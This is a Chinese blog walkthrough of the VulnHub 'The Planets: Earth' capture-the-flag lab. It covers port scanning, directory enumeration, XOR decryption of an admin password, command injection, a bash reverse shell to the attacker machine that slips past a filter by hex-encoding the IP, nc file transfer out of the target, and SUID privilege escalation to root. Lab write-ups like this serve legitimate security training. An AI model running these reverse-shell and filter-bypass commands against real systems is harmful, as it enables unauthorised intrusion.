渗透测试学习之靶机THE PLANETS: EARTH

前期准备

1.下载靶机The Planets: Earth ~ VulnHub

1.载入vmware,网络模式设置为NAT

kali IP地址为192.168.88.128

靶机 IP地址为192.168.88.131

一 、信息收集

1.使用nnamp扫描器扫描开放的端口

nmap -T4 -sV -p- -A 192.168.88.131

发现开放了22,80,443端口,且443端口需要设置DNS解析。

没设置DNS解析时,我们尝试访问下,可以看到,状态是400

我的kali是放在虚拟机中的,本地系统是window,所以我在两个机器中都设置了DNS,分别打开

windows: C:\Windows\System32\dirvers\etc\hosts

kali: /etc/hosts

写入

192.168.88.131 earth.local 192.168.88.131 terratest.earth.local

然后在访问https://earth.local和https://terratest.earth.local

 

 

web信息收集

一番探索之后,没有收获,就想到使用工具目录扫描一下,看看有没有隐藏的路径,目录爆破的方式和工具有很多,这里使用kali自带的dirb,分别对两个域名进行目录扫描:

 

分别访问下,发现存在两个有用的路径

https://earth.local/admin/ 访问发现是个登录界面,这里我尝试了暴力破解没成功,所以准备去寻找其他的有用信息。

https://terratest.earth.local/robots.txt 是个爬虫文件,访问看看,发现除了常规的格式之外,最后还多了一个Disallow: /testingnotes.*。

也就是说https://terratest.earth.local/testingnotes.*是可以访问的,分别将上面的格式带入,尝试访问,发现testingnotes.txt可以访问。即https://terratest.earth.local/testingnotes.txt

该文件透露了三个信息:

第一,该系统使用XOR算法进行加密;

第二,用户名是terra;

第三,testdata.txt是密码本。

访问下https://terratest.earth.local/testdata.txt

内容为According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

这个时候,联想到https://earth.local/首页有三个加密字符串。所以尝试将三个加密字符串分别与testdata.txt进行XOR运算,观察结果看看能获取什么有用的信息。这里借鉴了别人的python代码进行XOR运算

import binascii str1 = "这里附上三个加密字符串之一"

testdata = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."

//先将testdata文本编码,然后再将字符串转换成十六进制,为什么呢,因为XOR异或运算是十六进制运算符

testdata= binascii.b2a_hex(testdata.encode("utf-8"))

//int(str1,16)指明str1是十六进制整数值,hex()将括号里的十进制数值转化为十六进制(XOR运算之后的数值是十进制·········)。

result = hex(int(str1 ,16) ^ int(testdata,16))

print(result)

打印出结果之后,将开头的0x去掉,赋值给下面的result,将十六进制转化为字符串

result= '6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174' 
result1 = result.encode('utf-8') 
str_bin = binascii.unhexlify(res) 
str = str_bin.decode('utf-8') 
print(str)

结果为

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

可以看出,是earthclimatechangebad4humans的重复。

此时我们将用户名terra和这个字符串带入https://earth.local/admin/login,登录成功

发现可以执行命令

可以尝试 ls id 等等命令,发现可以执行。

漏洞验证

因此想到可以执行find命令尝试查找flag文件。

输入find / -name “*flag*”

观察发现有一个文件/var/earth_web/user_flag.txt ,很像flag文件。

输入cat /var/earth_web/user_flag.txt

 

接着想要拿到root权限,这个需要shell,所以想到可以尝试输入反弹shell命令:

首先kali上开启监听1234端口

在网页输入框中输入 bash -i >& /dev/tcp/ 192.168.88.128/1234 0>&1 点击执行

 

发现命令被禁止了。后来看到大佬的思路,发现把IP地址转换成十六进制就可以通过,192.168.88.128转换为十六进制为0xc0.0xa8.0x58.0x80

将命令 bash -i >& /dev/tcp/0xc0.0xa8.0x58.0x80/1234 0>&1输入

kali已经接收到shell了。

漏洞利用

尝试sudo -l 没有可以运行sudo的文件

执行 find / -perm -u=s -type f 2>/dev/null 查找一些高权限文件

除了一些常规文件为,有一个reset_root很可疑(名字暗示过于明显)。

输入/usr/bin/resrt_root执行失败,这里可以看出他是可以执行的,因此想要将它下载到本地分析执行失败的原因。这里使用nc命令下载,可以参考这边文章(2条消息) 使用nc传输文件_Bear.Huang的博客-CSDN博客_nc传文件

先在kali上输入nc -nlvp 7788 >reset_root,开启监听

在靶机shell上输入nc 192.168.88.128 7788 < /usr/bin/reset_root

可以看到kali接收到数据并保存为reset_root.

接下来使用strace工具检测reset_root文件的运行过程,如果没有可以下载安装下。

 

发现文件执行失败是因为少了这三个文件或目录。

因此在靶机shell上创建这三个文件,这里使用touch(因为可以创建空文件)

touch /dev/shm/kHgTFI5G

touch /dev/shm/Zw7bV9U5

touch /tmp/kcM0Wewe

创建后执行reset_root

发现该文件将root的密码改成了Earth

发现已经成功获取root权限

查看flag,至此结束。

  • 0
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值